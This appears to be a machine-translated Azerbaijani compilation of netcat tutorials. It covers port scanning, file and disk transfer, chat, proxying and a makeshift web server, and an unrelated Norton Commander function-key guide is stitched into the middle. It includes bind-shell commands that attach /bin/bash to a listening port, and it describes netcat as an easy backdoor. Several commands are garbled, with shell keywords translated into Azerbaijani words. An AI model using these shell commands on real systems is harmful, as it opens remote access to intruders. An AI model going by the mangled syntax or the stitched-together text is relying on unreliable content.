Netcat bağlantısı. Netcat-dan necə istifadə etməli - Hacking Alətlərinin İsveçrə Ordusu Bıçağı. UDP test paketinin uzaq hosta göndərilməsi

Salam Əziz Oxucu X!

Düşünürəm ki, bu rəsm “Sən hakersən?” mini testi adlandırıla bilər. Bunu deməyə çalışın
bu gülməli pişik balasını nəzərdə tutur. Yaxşı, hələ də çətinliklər yaranarsa, bilin ki, qarşınızda bütün qabaqcıl insanların ən sevimlisi bu və ya digər şəkildədir.
Şəbəkə ilə əlaqələndirilir və adı Netcat-dır.

Netcat sizə məlumatı oxumağa və şəbəkə üzərindən ötürməyə imkan verən köməkçi proqramdır
əlaqələri. Başqa sözlə, Netcat sizə hər şeyə qoşulmağa və hər şeyi etməyə imkan verir. Netcat tamamilə özünü təmin edir, əgər düzgün istifadə olunarsa, o, hər hansı bir proqram alətini, hətta bildiyiniz birini də əvəz edə bilər
Apache. Beləliklə, Netcat ən sadə versiyasında istənilən portdan istənilən porta TCP və UDP bağlantıları yaratmağa imkan verir, daxil olan əlaqələri “dinləyə” (və siz “kedicik”ə yalnız ünvanlardan və hətta portlardan əlaqə gözləməsini sifariş edə bilərsiniz) müəyyən et!), portları skan edə, DNS sorğularına icazə verə, standart girişdən istənilən əmrləri göndərə, “kedicik”in dinlədiyi əlaqəyə cavab olaraq əvvəlcədən təyin edilmiş hərəkətləri yerinə yetirə, göndərilən və qəbul edilən məlumatların Hex zibilini yarada və daha çox şey edə bilər. ...

Baxmayaraq ki, məncə, əvvəldən demək lazım idi ki, Netcat hər şeyi edə bilər; və onun istifadə imkanları yalnız sizin bilik səviyyəniz və təsəvvürünüzlə məhdudlaşır. Başlanğıcda Netcat bir Unix yardım proqramı kimi düşünülmüşdü, lakin başa düşdüyünüz kimi, "kedicik" i Windows-a köçürməyən həvəskarlar ola bilməzdi. “Netcat” sorğusundan istifadə edərək axtarış sistemlərində hər iki versiyanı asanlıqla tapa bilərsiniz. Ancaq üstünlüklər, əlbəttə ki, tərtib edildikdə "kedicik" i bir az düzəldə bilən və bununla da standart olaraq əlil olan "əlavə xüsusiyyətlər" xüsusiyyətlərini aktivləşdirə bilən Unix-oidlərə aiddir.

Əgər siz nə vaxtsa “proqram təminatına əsaslanan hücumlardan” istifadə etmisinizsə və ya sadəcə olaraq istismar etmişsinizsə, yəqin ki, onların yarıdan çoxunun bu və ya digər şəkildə Netcat-dən istifadə etdiyini görmüsünüz. Bu, ilk növbədə, Netcat-in, məsələn, gələn məlumatları əvvəlcə şərh edən və yalnız sonra sizə verən Telnet müştərisindən fərqli olaraq, gələn məlumatları heç bir şəkildə dəyişdirməməsi ilə əlaqədardır (eləcə də gedən). Məhz buna görə də Netcat zəifliklərin axtarışı və istismarı üçün güclü alətə çevrilib, bunun sayəsində Bugtraq yüzlərlə yeni yazı ilə tamamlanıb.

Lakin, zəiflikləri axtarmaq sizin işiniz deyilsə, Netcat-dan veb brauzer və ya məsələn, e-poçt müştərisi kimi istifadə etməyə cəhd edə bilərsiniz; xüsusən də Internet Explorer və Outlook-da “təzə” boşluqlar tapdıqları üçün köhnə Unicode, heh... Üstəlik, bizim rus oğlanlar bu sahədə fərqləndilər (! Milli qürur rol oynayır!). Əgər siz bu məqaləni Explorer-dən istifadə edərək oxuyursunuzsa, gedin və görün necə “Eşşək”siniz.
çuxur

Bundan sonra Netcat-a keçəcəksiniz - bu çox rahat deyil, amma
təhlükəsiz... Və nəhayət, Netcat-dən “mütərəqqi” istifadə nümunələri
(Unix):

  1. Netcat bəyənir;
  2. Netcat yardım proqramı kimi " "; bunlar tez-tez X-də təsvir edilir, lakin əslində onlar sizə yaxşı tanış olan axtarış sistemlərinə sadəcə sorğu göndərirlər... Sizin “kedicik”iniz də bu faydalı işi görə bilər!;
  3. Netcat bəyənin! Provayderə istirahət verin!!!

Nəzərə alın ki, hər şey shell skriptləri şəklində edilir, belə ki, lazım olduqda hər şeyi düzəldə bilərsiniz.
Bunun üçün mən vidalaşmaq istəyirəm. Təlimatları oxuyun və məşhur Netcat yardım proqramını öyrənməkdə uğurlar!

P.S./Şəxsi/: http://georgy.h1.ru/ saytı mənim tərəfimdən bağlanıb. Birdəfəlik. Qonağım olan hər kəsə təşəkkür edirəm.

Bu yazıda populyar şəbəkə yardım proqramı netcat və onunla işləyərkən faydalı tövsiyələrə baxacağam.


Netcat, TCP və UDP əlaqələrini qurmağa, oradan məlumatları qəbul etməyə və ötürməyə imkan verən Unix yardım proqramıdır. Faydalılığına və sadəliyinə baxmayaraq, bir çoxları ondan necə istifadə edəcəyini bilmir və nahaq yerə yan keçir.


Bu yardım proqramından istifadə edərək, nüfuz testi apararkən bəzi addımlar ata bilərsiniz. Bu, hücuma məruz qalan maşında quraşdırılmış paketlər olmadıqda (və ya diqqəti cəlb etdikdə), məhdudiyyətlər olduqda (məsələn, IoT/Embedded cihazlar) və s.


Netcat ilə nə edə bilərsiniz:

  • Skan portları;
  • İrəli portlar;
  • Xidmət bannerlərini toplamaq;
  • Porta qulaq asın (əks əlaqə üçün bağlayın);
  • Faylları yükləyin və yükləyin;
  • Xam HTTP məzmununu çıxarın;
  • Mini söhbət yaradın.

Ümumiyyətlə, netcat-ın köməyi ilə siz Unix utilitlərinin bəzilərini əvəz edə bilərsiniz, ona görə də bu aləti müəyyən vəzifələri yerinə yetirmək üçün bir növ kombinasiya hesab etmək olar.

Praktik nümunələr

Bir çox hallarda, müəyyən bir hostu yoxlamaq lazımdırsa, onlar hostu və ya banneri müəyyən etmək üçün telnet və ya öz xidmət xidmətlərindən istifadə edirlər. Netcat bizə necə kömək edə bilər:

Açıq TCP portu 12345 yoxlanılır

$ nc -vn 192.168.1.100 12345
nc: 192.168.1.100 12345-ə qoşulmaq (tcp) alınmadı: Bağlantı rədd edildi

$ nc -v 192.168.1.100 22
192.168.1.100 22 portuna qoşulma uğurlu oldu!
SSH-2.0-OpenSSH

Netcat ilə TCP portlarının skan edilməsi:

$ nc -vnz 192.168.1.100 20-24

Belə bir tarama ilə porta heç bir əlaqə olmayacaq, ancaq uğurlu bir əlaqənin çıxışı olacaq:


nc: connectx to 192.168.1.100 port 20 (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: connectx to 192.168.1.100 port 21 (tcp) uğursuz oldu: Bağlantı rədd edildi
0 assosiasiya tapıldı
1 əlaqə tapıldı:
1: bayraqlar=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
dərəcə məlumatı mövcud deyil
TCP aux məlumatı mövcuddur
192.168.1.100 port 22-yə qoşulma uğurlu oldu!
nc: connectx to 192.168.1.100 port 23 (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: connectx to 192.168.1.100 port 24 (tcp) uğursuz oldu: Bağlantı rədd edildi

UDP portlarının skan edilməsi.

UDP portlarını nmap ilə skan etmək üçün sizə kök imtiyazları lazımdır. Əgər onlar orada deyilsə, bu halda netcat yardım proqramı da bizə kömək edə bilər:


$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100 port 5555-ə qoşulma uğurlu oldu!

UDP paketinin göndərilməsi

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Bu, şəbəkə cihazları ilə əlaqə qurarkən faydalı ola bilər.

UDP portunda məlumatların qəbulu və alınan məlumatların çıxarılması

$ nc -u localhost 7777

İlk mesajdan sonra çıxış dayanacaq. Birdən çox mesajı qəbul etmək lazımdırsa, true olarkən istifadə etməlisiniz:


$ doğru olsa da; nc -u localhost 7777 edin; edildi

Fayl ötürülməsi. Netcat istifadə edərək siz həm faylları qəbul edə, həm də onları uzaq hosta ötürə bilərsiniz:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact sadə veb server kimi.

Netcat HTML səhifələrini göstərmək üçün sadə veb server kimi çıxış edə bilər.


$ doğru olsa da; nc -lp 8888 edin< index.html; done

Brauzerdən istifadə edərək: http://netcat host:8888/index.html. 80 nömrəli standart veb server portundan istifadə etmək üçün kök imtiyazları ilə nc işlətməli olacaqsınız:


$ doğru olsa da; sudo nc -lp 80 edin< test.html; done

Düyünlər arasında söhbət

Birinci qovşaqda (192.168.1.100):


$nc -lp 9000

İkinci qovşaqda:


$nc 192.168.1.100 9000

Əmrləri yerinə yetirdikdən sonra istənilən qovşağın terminal pəncərəsinə daxil edilmiş bütün simvollar digər qovşağın terminal pəncərəsində görünəcək.

Ters qabıq

Netcat istifadə edərək rahat tərs qabıq təşkil edə bilərsiniz:


nc -e /bin/bash -lp 4444

İndi uzaq hostdan qoşula bilərsiniz:


$nc 192.168.1.100 4444

Müəyyən alətləriniz yoxdursa, imtina etməməlisiniz, bəzən problem doğaçlama vasitələrlə həll edilə bilər;

|

Linux sistemi, əksər paylamaların OS ilə birlikdə çoxlu sayda faydalı əmr satırı yardım proqramlarını göndərməsi ilə tanınır. Təcrübəli sistem administratorları əlavə proqram təminatı quraşdırmadan daxili alətlərdən istifadə edərək əksər tapşırıqları yerinə yetirə bilərlər.

Bu təlimat kommunalın işinə həsr edilmişdir . Şəbəkə alətlərinin bu "İsveçrə Ordusu Bıçağı" şəbəkə əlaqələri üzrə məlumatların monitorinqi, sınaqdan keçirilməsi və ötürülməsi üçün faydalı ola bilər.

Bu təlimatda Ubuntu 12.04 istifadə olunur, lakin ümumilikdə netcat yardım proqramı demək olar ki, istənilən müasir paylamada mövcuddur. Ubuntu bu məqalədə istifadə olunacaq yardım proqramının BSD versiyası ilə gəlir. Digər versiyalar fərqli işləyə və ya fərqli seçimlər təqdim edə bilər.

Ümumi sintaksis

Varsayılan olaraq, netcat uzaq hosta TCP bağlantısını başlatmaqla işləyir.

Əsas sintaksis:

netcat [seçimlər] host portu

Bu əmr göstərilən portda göstərilən hosta TCP bağlantısını işə salır. Əsasən, o, köhnə Linux əmri olan telnet kimi işləyir. Nəzərə alın ki, bağlantınız şifrələnməmiş olacaq.

TCP bağlantısı qurmaq əvəzinə UDP paketini göndərmək üçün -u seçimindən istifadə edin:

netcat -u host portu

Portların diapazonunu təyin etmək üçün tire ilə ayrılmış aralığın birinci və sonuncu portunu göstərin:

netcat host first_port-last_port

Adətən bu əmr əlavə bayraqlarla istifadə olunur.

Əksər sistemlərdə netcat və ya nc istifadə edə bilərsiniz. Onlar bir-birini əvəz edir, çünki eyni əmr üçün ləqəbdirlər.

İstifadəsiport skan etmək üçün

Çox vaxt netcat port skaneri kimi istifadə olunur.

Netcat yəqin ki, bu tapşırıq üçün ən ağıllı alət olmasa da (nmap əksər hallarda bunun üçün daha uyğundur), açıq portları tez bir zamanda müəyyən etmək üçün sadə port skanını həyata keçirə bilər.

Bunu etmək üçün, skan etmək üçün bir sıra portları göstərin (yuxarıda göstərildiyi kimi) və həmçinin əlaqələr qurmaq əvəzinə skan edən -z seçimindən istifadə edin.

Məsələn, 1000 porta qədər bütün portları skan etmək üçün aşağıdakıları yerinə yetirin:

netcat -z -v domain.com 1-1000

Göründüyü kimi, -z variantından əlavə, bu komanda -v variantından istifadə edir, bunun sayəsində netcat daha ətraflı məlumat göstərir.

Nəticə belə görünür:

nc: domain.com port 1-ə qoşulmaq (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com port 2-yə qoşulmaq (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com port 3-ə qoşulmaq (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com portuna qoşulmaq 4 (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com port 5-ə qoşulmaq (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com 6 portuna qoşulmaq (tcp) uğursuz oldu: Bağlantı rədd edildi
nc: domain.com portuna qoşulmaq 7 (tcp) uğursuz oldu: Bağlantı rədd edildi
. . .
domain.com 22 portuna qoşulma uğurlu oldu!
. . .

Gördüyünüz kimi, bu əmr kifayət qədər təfərrüatlı bir nəticə verir və həmçinin hər bir port skanının uğurlu olub-olmadığını sizə xəbər verir.

Bu, domen adından istifadə edərkən rahatdır.

Bununla belə, lazımi IP ünvanlarını göstərərək, taramanı əhəmiyyətli dərəcədə sürətləndirə bilərsiniz. Daha sonra IP ünvanının DNS istifadə edərək həll edilməməsi lazım olduğunu göstərmək üçün -n bayrağından istifadə edə bilərsiniz:

netcat -z -n -v 111.111.111.111 1-1000

Qayıdış mesajları standart xətaya göndərilir. Nəticələri filtrləmək üçün standart səhv mesajları standart çıxışa göndərilə bilər.

Standart səhvi standart çıxışa yönləndirmək üçün bash sintaksisi 2 istifadə edin> nəticədə nəticələr grep istifadə edərək süzülür:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep uğur qazandı
111.111.111.111 22 portuna qoşulma uğurlu oldu!

Beləliklə, indi 1-1000 diapazonunda uzaq maşındakı yeganə açıq portun standart SSH portu olan 22 port olduğunu görə bilərsiniz.

Ünsiyyətnetcat istifadə edərək

Netcat əmri TCP və UDP paketlərinin göndərilməsi ilə məhdudlaşmır. O, həmçinin bağlantılar və paketlər üçün portu dinləyə bilər ki, bu da müştəri-server münasibətində iki netcat instansiyasını birləşdirməyə imkan verir.

Hansı kompüterin server və hansının müştəri olması yalnız ilkin quraşdırma zamanı vacibdir. Əlaqə qurulduqdan sonra rabitə hər iki istiqamətdə eyni olur.

Bir maşında netcat-a bağlantılar üçün müəyyən bir portda qulaq asmasını söyləməlisiniz. Bu, -l parametrindən və sonra port nömrəsindən istifadə etməklə edilir:

Bu əmri işlətməklə, netcat 4444-cü portda TCP bağlantılarını dinləyir. İndi normal istifadəçi (root deyil) 1000-dən əvvəl heç bir portu aça bilməyəcək (server təhlükəsizliyi üçün).

İkinci serverdə, göstərilən port vasitəsilə birinci maşına qoşulmaq lazımdır. Bu, əvvəllər göstərildiyi kimi edilir:

netcat domain.com 4444

Bağlantı qurulduqdan sonra heç nə olmamış kimi görünə bilər. Ancaq indi əlaqənin hər iki tərəfinə mesaj göndərə bilərsiniz və onlar hər iki serverdə görünəcək.

Mesajınızı yazın və ENTER düyməsini basın. Mesaj həm yerli, həm də uzaq serverdə görünəcək. Bu da tərsinə işləyir.

Mesajları göndərməyi bitirdikdən sonra TCP bağlantısını bağlamaq üçün CTRL-D düymələrini basın.

Netcat istifadə edərək faylların paylaşılması

Köməkçi proqramın əsas funksiyaları ilə tanış olduqdan və əvvəlki nümunələri tamamladıqdan sonra daha mürəkkəb tapşırıqlara keçə bilərsiniz.

Artıq qeyd edildiyi kimi, netcat yardım proqramı istifadəçi tərəfindən yazılmış mesajlarla məhdudlaşmayan, demək olar ki, hər növ məlumatı ötürmək üçün istifadə edilə bilən TCP əlaqələri yaradır. Bu bilik netcat-ı fayl ötürmə proqramına çevirmək üçün istifadə edilə bilər.

Yenə də əlaqələri dinləmək üçün bir maşın seçməlisiniz. Bununla belə, məlumatı ekrana çap etmək əvəzinə (əvvəlki nümunədə olduğu kimi), netcat bütün məlumatları birbaşa fayla yerləşdirir:

netcat -l 4444 > alınan_fayl

İkinci kompüterdə sadə mətn faylı yaratmalısınız:

echo "Salam, bu fayldır" > original_file

İndi siz dinləyən kompüterlə əlaqə yaratmaq üçün bu fayldan giriş kimi istifadə edə bilərsiniz. Fayl interaktiv şəkildə yazılmış kimi köçürüləcək:

netcat domain.com 4444< original_file

Gördüyünüz kimi, əlaqəni gözləyən kompüterdə indi digər kompüterə daxil edilmiş məlumatları ehtiva edən "received_file" adlı yeni bir fayl var:

pişik faylı qəbul etdi
Salam, bu fayldır

Gördüyünüz kimi, bu cür əlaqələr istənilən növ məlumatı ötürmək üçün asanlıqla istifadə edilə bilər.

Məsələn, siz bütün kataloqun məzmununu köçürə bilərsiniz; Bunu etmək üçün adsız bir tarball yaradın, onu uzaq sistemə köçürün və uzaq kataloqa açın.

Qəbul edən tərəfdə, faylın qəbul edilməsi və paketdən çıxarılması lazım olduğunu xəbərdar etmək üçün aşağıdakı əmrdən istifadə edə bilərsiniz:

netcat -l 4444 | tar xzvf -

Əmrin sonundakı tire o deməkdir ki, tarball standart giriş üzərində işləyəcək, əgər əlaqə qurularsa, hazırda şəbəkə üzərindən göndərilir.

Köçürmək istədiyiniz kataloqu ehtiva edən tərəfdə, verilmiş kataloqu arxivə yığın və sonra netcat istifadə edərək uzaq maşına göndərin:

tar -czf - * | netcat domain.com 4444

Bu dəfə tar əmrindəki tire o deməkdir ki, cari kataloqun məzmunu (* simvolu ilə göstərildiyi kimi) sıxışdırılıb köçürülməlidir, sonra isə nəticə standart çıxışa yazılmalıdır.

Daha sonra bu, TCP bağlantısına yazılır, əlaqənin digər tərəfinə ötürülür və uzaq kompüterin cari kataloquna açılır.

Bu, daha mürəkkəb məlumatların bir kompüterdən digərinə ötürülməsinin yalnız bir nümunəsidir. Bir tərəfdən disk şəklini yaradan və onu uzaq kompüterə ötürən dd əmri də geniş istifadə olunur. Bununla belə, belə bir yanaşma bu təlimatda əhatə olunmur.

sadə veb server kimi

Netcat yardım proqramı artıq mesajları və faylları ötürmək üçün istifadə edilmişdir. Eyni yanaşma netcat-dan sadə veb server kimi istifadə etməyə kömək edəcək. Bu, bitmiş səhifələri sınamaq üçün faydalı ola bilər.

Əvvəlcə bir serverdə HTML faylı yaratmalısınız:

Bu faylda aşağıdakı sadə kod yerləşdirilə bilər:



Test Səhifəsi


Səviyyə 1 başlıq


Alt başlıq


Normal mətn burada




Faylı saxla və bağlayın.

Bu fayl kök imtiyazları olmadan standart veb server portunda (80) xidmət edilə bilməz. Çünki adi istifadəçi olaraq 8888 portunu təyin edin.

Bir səhifəni sınamaq və onun necə göstərildiyini görmək üçün aşağıdakı kimi bir şey yazın:

netcat -l 8888< index.html

Məzmunu indi ziyarət edərək brauzerdə görmək olar:

http://server_IP:8888

Bu əmr səhifəni çap edəcək və sonra netcat bağlantısı bağlanacaq. Səhifəni yeniləməyə çalışsanız, o yox olacaq.

Netcat səhifəyə qeyri-müəyyən müddətə xidmət göstərə bilər; Bunu etmək üçün sətirdən istifadə edərək son əmri tsiklik etmək lazımdır:

doğru olsa da; nc -l 8888 edin< index.html; done

Sonra ilk əlaqə dayandırıldıqdan sonra səhifə əlaqələri qəbul etməyə davam edəcək.

Döngəni dayandırmaq üçün CTRL-C yazın.

Bu server sizə səhifənin brauzerdə necə göstərildiyini görməyə imkan verəcək, lakin daha geniş funksionallıq təmin etmir. Həqiqi saytlara xidmət etmək üçün heç vaxt belə bir veb serverdən istifadə etməyin: o, təhlükəsiz deyil və keçidlər kimi sadə şeylər həmişə düzgün işləmir.

Nəticələr

Bu dərslik netcat-ın əsas xüsusiyyətlərini və istifadəsini təqdim edir. Bu alət çox yönlü olduğundan, o, problemlərin diaqnostikası və TCP/UDP əlaqələrinin əsas funksionallığını yoxlamaq üçün istifadə edilə bilər.

Bundan əlavə, netcat müxtəlif kompüterlər arasında ünsiyyət qurmağa və məlumat mübadiləsinə imkan verir ki, bu da istifadəçinin sürətli qarşılıqlı əlaqəsi üçün çox vacibdir. Bağlantının yaradılmasını sadələşdirərək, netcat yardım proqramı kompüterlər arasında şəbəkə qarşılıqlı əlaqəsini daha rahat, daha sürətli və başa düşülən etməyə çalışır.

Etiketlər: ,

Əsas NC əmrləri F1 - F10 funksiya düymələri ilə çağırılır. Bu əmrlərin siyahısı ekranın aşağı məlumat sətirində yerləşir.

A) İpucu, kömək, Kömək, F1 (şək. 2, 3).

Bu düyməni basdığınız zaman ekranda aşağıdakılar görünür: Norton Commander sisteminin qısa təsviri və düymələrin və əmrlərin məqsədini təsvir edən alət ipucu.

b) istifadəçi menyusu, Menyu, F2 (Şəkil 4)

Bu əmrdən istifadə etməklə ekranda istifadəçi tərəfindən yaradılmış əlavə menyu çağırılır.

V) faylın məzmununa baxmaq, View, F3 (Şəkil 5).

Kursor məzmununa baxmaq istədiyiniz faylın adının üzərinə qoyulmalı və F3 düyməsini sıxmalısınız. Faylın məzmunu monitor ekranında göstəriləcək, onu görmək və oxumaq olar, lakin redaktə etmək mümkün deyil.

G) Mətni redaktə etmək, Redaktə etmək, F4 (şək. 6)

Daxili Norton Commander redaktoruna fayl yükləmək üçün kursorla faylı göstərmək və F4 düyməsini sıxmaq lazımdır. Redaktə etmək üçün siz kursor düymələrindən istifadə edərək kursoru hərəkət etdirə bilərsiniz. Norton Commander daxili redaktoru ölçüsü 30 KB-dan çox olmayan faylla işləyə bilər. Böyük fayllar üçün Norton Commander-də konfiqurasiya olunarsa, xarici redaktor istifadə olunur. Faylı xarici redaktora yükləmək üçün ALT + F4 düymələri ilə çağırılan əmrdən istifadə edin.

d) Faylların və kataloqların surətinin çıxarılması, Kopyalama, F5 (Şəkil 7, 8, 9)

Faylın surətini çıxarmaq üçün onun yerləşdiyi qovluğu (mənbə) və haradan kopyalanacağını (təyinat yeri) müəyyən etməlisiniz. Passiv paneldə təyinat qovluğunu, aktiv paneldə isə mənbə kataloqunu açmalısınız. Sonuncuda kursoru kopyalanacaq fayla yönəltməli və F5 düyməsini sıxmalısınız. Görünən dialoq pəncərəsində F5 düyməsini basdıqdan sonra kopyalamağı təsdiqləməlisiniz. Lazım gələrsə, burada təyinat kataloqunun adını düzəldə və ya surət faylı üçün başqa ad verə bilərsiniz.

Bir qrup faylın surətini çıxararkən, ilk növbədə kursoru istədiyiniz faylın adına aparıb Insert düyməsini sıxmaqla onları qeyd etməlisiniz. İşarələnmiş faylın adı rəngini və fonunu dəyişəcək. Kursorun yerləşdiyi faylın işarəsini silmək üçün Insert düyməsini yenidən sıxmaq kifayətdir. Kopyalama F5 düyməsini basmaqla həyata keçirilir. Görünən dialoq qutusunda siz həm tək faylın, həm də (bütün) faylların bir qrupunun surətinin çıxarılmasını təsdiqləməlisiniz.

Əgər qovluqdakı bütün faylları kopyalamaq lazımdırsa, onları seçmək üçün kiçik rəqəmli klaviaturada * düyməsini sıxmaq kifayətdir. Seçimi ləğv etmək üçün bu düyməni yenidən basın.

Müəyyən bir qrupun bütün fayllarını kopyalamaq lazımdırsa, onları seçmək üçün kiçik rəqəmsal klaviaturada tək işarə + düyməsini və görünən dialoq qutusunda qrup atributunu seçin və Enter düyməsini basın. Əksinə, seçimi ləğv etmək üçün tək mənfi işarəsi (-) düyməsini və Enter düyməsini sıxın.


Əksinə seçmək üçün kiçik rəqəmli klaviaturada * düyməsini basın.

Kopyalama zamanı göstərilən qrup xüsusiyyətləri kifayət qədər çoxdur. Bəzi nümunələr Cədvəl 1-də göstərilmişdir. Cədvəl 1


Bu, bilməli olduğunuz Unix utilitləri haqqında məqalələr silsiləsindəki ikinci yazıdır. Bu yazıda sizə netcat yardım proqramını və ya sadəcə nc təqdim edirəm.

Netcat yardım proqramı tez-tez sözün yaxşı mənasında bir növ "İsveçrə ordusu bıçağı" adlanır. Netcat-in funksionallığı sübut edilmiş cib İsveçrə ordusu bıçağının çox yönlü və əlçatanlığı faydalı olduğu qədər faydalıdır. Onun bəzi imkanlarına port tarama, fayl ötürmə, port dinləmə daxildir və o, arxa qapı kimi istifadə edilə bilər.

Netcat 2006-cı ildə "100 Şəbəkə Təhlükəsizliyi Utiliti" sorğusunda 4-cü yerdə qərarlaşıb, ona görə də bu, mütləq bilməli olduğunuz bir vasitədir.

nc necə istifadə olunur?

Yadınızdadırsa, netcatın İsveçrə ordusunun bıçağı olduğunu demişdim. Bu bıçaq adi bıçaq kimi istifadə edilməsəydi nə olardı? Buna görə netcat adi telnet əvəzinə istifadə edilə bilər:

$nc www.google.com 80

Bu, adi telnetdən daha rahatdır, çünki siz istənilən vaxt Ctrl+C düymələrini sıxmaqla əlaqəni dayandıra bilərsiniz və o, ikili məlumatı normal hesab edir (qaçış ardıcıllığı yoxdur, heç bir şey yoxdur).

Siz hərəkətlərin nəticələrini daha ətraflı göstərmək üçün -v seçimini və cari əlaqə seansında neçə baytın ötürüldüyü barədə statistik məlumat əldə etmək üçün (-vv) seçimini əlavə edə bilərsiniz.

Netcat server kimi istifadə edilə bilər. Aşağıdakı kimi işlətsəniz, o, 12345 portunu dinləyəcək (bütün interfeyslərdə):

$ nc -l -p 12345

İndi bu hostun 12345 portuna qoşulsanız, yazdığınız hər şey uzaq tərəfə göndəriləcək ki, bu da bizə netcat-ın söhbət serveri kimi istifadə oluna biləcəyini bildirir. Kompüterlərdən birində işə salın:

# IP 10.10.10.10 ilə A kompüterində $ nc -l -p 12345

Və ona başqasından qoşulun:

# Kompüterdə B $ nc 10.10.10.10 12345

İndi hər iki tərəf danışa bilər!

Hər iki tərəfin bir-biri ilə danışa bildiyi bu danışıq tərzi şəbəkə üzərindən I/O əməliyyatları üçün nc-dən istifadə etməyə imkan verir! Məsələn, birinci kompüterdə nc vasitəsilə tar boru xəttini işlətməklə, ikincidə isə çıxışı başqa bir tar prosesinə yönləndirməklə bütün kataloqu bir kompüterdən digərinə göndərə bilərsiniz.

Tutaq ki, siz IP 192.168.1.10 ilə A kompüterinin /data kataloqundan B kompüterinə (istənilən IP ilə) fayl göndərmək istəyirsiniz. Bu sadədir:

# IP 192.168.1.10 ilə A kompüterində $ tar -cf - /data | nc -l -p 6666 # Kompüterdə B $ nc 192.168.1.10 6666 | tar -xf -

Köçürmənin nə qədər tez baş verdiyinə dair statistikanı görmək üçün boru kəmərini əvvəlki məqalədə təsvir edilmiş Boru Baxıcısı ilə birləşdirməyi unutmayın!

Tək bir fayl daha sadə şəkildə göndərilə bilər:

# IP 192.168.1.10 ilə A kompüterində $ cat faylı | nc -l -p 6666 # Kompüterdə B $nc 192.168.1.10 6666 > fayl

Siz hətta nc istifadə edərək bütün diski kopyalaya və bərpa edə bilərsiniz:

# IP 192.168.1.10 olan A kompüterində $ cat /dev/hdb | nc -l -p 6666 # Kompüterdə B $nc 192.168.1.10 6666 > /dev/hdb

Qeyd: “-l” seçimi Mac kompüterlərində “-p” ilə birlikdə istifadə edilə bilməz! Həll yolu sadəcə olaraq “-l -p 6666? -l 6666? Burada olduğu kimi:

# indi nc $ nc -l 6666 Mac kompüterləri üçün 6666 portunu dinləyir

Netcat-in ümumi istifadəsi port taramasıdır. Netcat bu cür iş üçün ən yaxşı vasitə deyil, lakin işi görür (ən yaxşısı, əlbəttə ki, nmap-dır):

$ nc -v -n -z -w 1 192.168.1.2 1-1000 (BİLİNMƏYƏN) 445 (microsoft-ds) açıq (BİLİNMƏYƏN) 139 (netbios-ssn) açıq (BİLİNMƏYƏN) 111 (sunrpc) açıq (NAMİLMƏN) www) açıq (Naməlum) 25 (smtp): Bağlantı vaxtı bitdi (BİLMƏN) 22 (ssh) açıq

-n seçimi DNS axtarışlarının qarşısını alır, -z serverdən cavab gözləmir və -w 1? əlaqə fasiləsini 1 saniyəyə təyin edir.

Netcat-in digər qeyri-trivial istifadəsi proxy kimidir. Həm port, həm də host yönləndirilə bilər. Bu misala baxın:

$ nc -l -p 12345 | nc www.google.com 80

Bu əmr nc-ni 1234 portunda işlədir və bütün əlaqələri google.com:80-ə yönləndirir. İndi 12345 portunda bu kompüterə qoşulsanız və sorğu göndərsəniz, cavab olaraq heç bir məlumat almadığınızı görəcəksiniz. Bu düzgündür, çünki biz iki istiqamətli kanal yaratmamışıq. İkinci kanal əlavə etsəniz, məlumatlarınızı başqa portda alacaqsınız:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

12345 portuna sorğu göndərdikdən sonra cavab məlumatlarınızı 12346 portunda alın.

Yəqin ki, netcat-in ən güclü xüsusiyyəti istənilən prosesi server kimi idarə etməkdir:

$ nc -l -p 12345 -e /bin/bash

-e seçimi giriş və çıxışın şəbəkə yuvası vasitəsilə yönləndirilməsinə səbəb olur. İndi, 12345 portunda hosta qoşulsanız, bash-dan istifadə edə bilərsiniz:

$ nc localhost 12345 ls -las cəmi 4288 4 drwxr-xr-x 15 pkrumins istifadəçilər 4096 2009-02-17 07:47 . 4 drwxr-xr-x 4 pkrumins istifadəçisi 4096 2009-01-18 21:22 .. 8 -rw------- 1 pkrumins istifadəçisi 8192 2009-02-16 19:30 .bash_history 4 -rw-r- -r-- 1 pkrumins istifadəçiləri 220 2009-01-18 21:04 .bash_logout ...

Nəticələri odur ki, nc məşhur haker alətidir və çox asanlıqla arxa qapı yaratmaq üçün istifadə edilə bilər. Linux serverində siz /bin/bash və Windows cmd.exe-də işlədə bilərsiniz və tam nəzarət sizin əlinizdədir.

Bütün demək istədiyim bu idi. Burada əhatə olunmayan başqa faydalı netcat fəndlərini bilirsinizmi?

nc-i necə quraşdırmaq olar?

Debian və ya Ubuntu kimi Debian əsaslı sisteminiz varsa, aşağıdakıları edin:

$ sudo aptitude netcat quraşdırın

Fedora və ya CentOS kimi Fedora əsaslı sisteminiz varsa, edin:

$ sudo yum netcat quraşdırın

Slackware, FreeBSD, NetBSD, Solaris və ya Mac varsa, nc mənbələrini endirin və edin:

$ tar -zxf nc-version.tar.gz $ cd nc-versiya $ ./konfiqurasiya && sudo quraşdırmaq

MacPortlarınız varsa, Mac-da bunu etməyin başqa bir yolu:

$ sudo portu netcat quraşdırın

Slackware-də siz onu paket kataloqundan paket kimi quraşdıra bilərsiniz:

$ sudo installpkg nc-1.10-i386-1.tgz

Windows-unuz varsa, securityfocus-dan Windoze portunu endirin.

Kommunal üçün təlimat man nc-də tapıla bilər.

Növbəti dəfəyə qədər nc ilə vaxtınızı keçirin!